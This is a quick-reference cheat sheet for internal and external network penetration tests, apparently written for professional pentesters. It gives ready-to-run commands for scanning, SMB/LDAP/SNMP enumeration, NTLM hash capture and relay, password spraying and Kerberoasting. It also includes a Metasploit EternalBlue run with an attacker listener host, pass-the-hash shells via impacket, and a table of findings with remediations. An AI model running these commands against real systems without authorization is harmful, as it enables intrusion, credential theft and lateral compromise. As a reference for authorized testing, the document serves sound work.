Network Penetration Testing Quick-Reference Cheat Sheet - CyberLabs - PenTesting

TL;DR

Phase	Primary Tools	Key Goal
Recon	nmap, masscan, Shodan, Censys	Map the attack surface
Service Enum	enum4linux, crackmapexec, snmpwalk, ldapsearch	Identify exploitable services
Initial Access	Responder, ntlmrelayx, Metasploit	Gain first foothold
Lateral Movement	impacket (psexec, wmiexec, smbexec), CrackMapExec	Expand access
Common Findings	–	Default creds, plaintext protocols, unauthed services

Target Audience

Mid-level pentesters conducting internal or external network assessments. Assumes familiarity with Linux CLI, basic networking, and Active Directory concepts. Not a step-by-step tutorial – use this as a memory aid during live engagements.

1. Reconnaissance

Passive OSINT

Tool	Command	Purpose
Shodan	`shodan search "org:<TARGET_ORG>"`	Find internet-exposed hosts
Censys	`censys search "autonomous_system.name:<TARGET_ORG>"`	Certificate/banner intel
WHOIS	`whois <TARGET_DOMAIN>`	Registrant, ASN, IP ranges
BGP	`https://bgp.he.net/<TARGET_DOMAIN>`	ASN and netblock discovery

# Shodan CLI: enumerate open ports for an org
shodan search --fields ip_str,port,org "org:<TARGET_ORG>" | sort -u

Active Scanning

# Full TCP SYN scan with service/version and OS detection
nmap -sS -sV -O -p- --min-rate 5000 -oA nmap_full <TARGET_RANGE>

# Quick top-1000 ports with scripts
nmap -sC -sV -oA nmap_quick <TARGET_RANGE>

# UDP scan (top 100 - slow, run selectively)
nmap -sU --top-ports 100 -oA nmap_udp <TARGET_RANGE>

# masscan for speed across large ranges; feed results back to nmap
masscan -p1-65535 <TARGET_RANGE> --rate=10000 -oL masscan_out.txt
awk '/open/ {print $4}' masscan_out.txt | sort -u > live_hosts.txt
nmap -sV -sC -iL live_hosts.txt -oA nmap_targeted

2. Service Enumeration

SMB (TCP 445 / 139)

# Null-session enumeration
enum4linux -a <TARGET_IP>

# CME: check signing, list shares, enumerate users
crackmapexec smb <TARGET_RANGE> --gen-relay-list relay_targets.txt
crackmapexec smb <TARGET_IP> -u '' -p '' --shares
crackmapexec smb <TARGET_IP> -u '' -p '' --users
crackmapexec smb <TARGET_IP> -u '' -p '' --groups

# List shares with valid creds
smbclient -L //<TARGET_IP> -U '<DOMAIN>/<USER>%<PASSWORD>'
smbclient //<TARGET_IP>/<SHARE> -U '<DOMAIN>/<USER>%<PASSWORD>'

SNMP (UDP 161)

# Walk with default community strings
snmpwalk -v2c -c public <TARGET_IP>
snmpwalk -v2c -c private <TARGET_IP>

# Brute-force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt -i live_hosts.txt

# Enumerate system info
snmpget -v2c -c public <TARGET_IP> sysDescr.0

LDAP (TCP 389 / 636)

# Anonymous bind check
ldapsearch -x -H ldap://<DC_IP> -b "DC=<DOMAIN>,DC=<TLD>"

# Authenticated enumeration (full user dump)
ldapsearch -x -H ldap://<DC_IP> -D '<USER>@<DOMAIN>' -w '<PASSWORD>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=user)" sAMAccountName userPrincipalName

# windapsearch: fast AD user/group/computer enumeration
windapsearch.py -d <DOMAIN> -u '<USER>@<DOMAIN>' -p '<PASSWORD>' --da
windapsearch.py -d <DOMAIN> -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -U

NFS (TCP/UDP 2049)

# Show mounts
showmount -e <TARGET_IP>

# Mount and explore
mount -t nfs <TARGET_IP>:/<EXPORT_PATH> /mnt/nfs -o nolock
ls -la /mnt/nfs

FTP (TCP 21)

# Check anonymous login
ftp <TARGET_IP>     # User: anonymous / Pass: anything

# nmap script
nmap -p 21 --script ftp-anon,ftp-bounce,ftp-syst <TARGET_IP>

3. Initial Access

Credential Attacks

# Responder: capture NTLMv2 hashes over the wire
responder -I eth0 -wrf

# ntlmrelayx: relay NTLM to SMB targets where signing is disabled
ntlmrelayx.py -tf relay_targets.txt -smb2support

# Spray with CME (lock threshold: keep attempts <= 2 per account per lockout window)
crackmapexec smb <TARGET_RANGE> -u users.txt -p '<PASSWORD>' --continue-on-success

# AS-REP roasting (no pre-auth required accounts)
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -outputfile asrep_hashes.txt

# Kerberoasting (requires valid domain account)
GetUserSPNs.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

Exploit Paths

# EternalBlue (MS17-010) - unpatched Windows 7 / Server 2008 R2
nmap -p 445 --script smb-vuln-ms17-010 <TARGET_IP>
# Metasploit module:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
run

# BlueKeep (CVE-2019-0708) - RDP on unpatched Windows 7 / Server 2008
nmap -p 3389 --script rdp-vuln-ms12-020 <TARGET_IP>   # indicative only; confirm manually
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

# PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
# Check if Print Spooler is running:
crackmapexec smb <TARGET_IP> -u '<USER>' -p '<PASSWORD>' -M spooler

4. Lateral Movement

Pass-the-Hash

# CME with NTLM hash
crackmapexec smb <TARGET_RANGE> -u '<USER>' -H '<NTLM_HASH>' --local-auth

# impacket psexec with hash (SYSTEM shell)
psexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<TARGET_IP>

WMI (TCP 135 + dynamic RPC)

# impacket wmiexec - semi-interactive shell, doesn't write to disk
wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
wmiexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<TARGET_IP>

PSExec / SMBExec

# psexec.py - creates a service on target (noisy, detected by most EDR)
psexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>

# smbexec.py - executes via a transient service; avoids binary upload
smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
smbexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<TARGET_IP>

CME Execution

# Run command across multiple targets
crackmapexec smb <TARGET_RANGE> -u '<USER>' -p '<PASSWORD>' -x 'whoami /all'
crackmapexec smb <TARGET_RANGE> -u '<USER>' -H '<NTLM_HASH>' -x 'net user /domain'

5. Common Findings Table

Finding	Detection Method	Risk	Remediation
Default credentials on network devices	`hydra -l admin -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt <TARGET_IP> <PROTOCOL>`	Critical	Change all default credentials before production deployment
Telnet enabled (TCP 23)	`nmap -p 23 --open <TARGET_RANGE>`	High	Disable Telnet; enforce SSH with key-based auth
FTP anonymous write access	`nmap --script ftp-anon <TARGET_IP>`	High	Disable anonymous FTP; require authenticated access
SNMPv1/v2 with default community strings	`onesixtyone -c snmp.txt <TARGET_IP>`	High	Upgrade to SNMPv3 with auth/priv; change community strings
NTLM relay opportunity (SMB signing disabled)	`crackmapexec smb <TARGET_RANGE> --gen-relay-list`	High	Enable SMB signing via GPO (`Microsoft network server: Digitally sign communications (always)`)
NFS export with no_root_squash	`showmount -e <TARGET_IP>` then check `/etc/exports`	High	Remove `no_root_squash`; restrict exports by IP
Kerberoastable accounts with weak passwords	`GetUserSPNs.py`	Mediumâ€“High	Use strong service account passwords (25+ chars); consider gMSA
AS-REP roastable accounts	`GetNPUsers.py`	Mediumâ€“High	Re-enable Kerberos pre-auth on all accounts
SMBv1 enabled	`nmap --script smb-protocols <TARGET_IP>`	High	Disable SMBv1 via GPO and registry
LDAP anonymous bind	`ldapsearch -x -H ldap://<DC_IP> -b "DC=<DOMAIN>,DC=<TLD>"`	Medium	Disable anonymous LDAP bind on domain controllers

Conclusion

This cheat sheet covers the core phases of a network penetration test from first packet to lateral movement. Adapt tool flags and techniques to scope constraints – particularly when operating in environments with account lockout policies or monitored networks. Always confirm exploit applicability against target patch levels before running against production systems. Document every action for the report.

CyberLabs – Network Pentest Quick-Reference | v1.0 |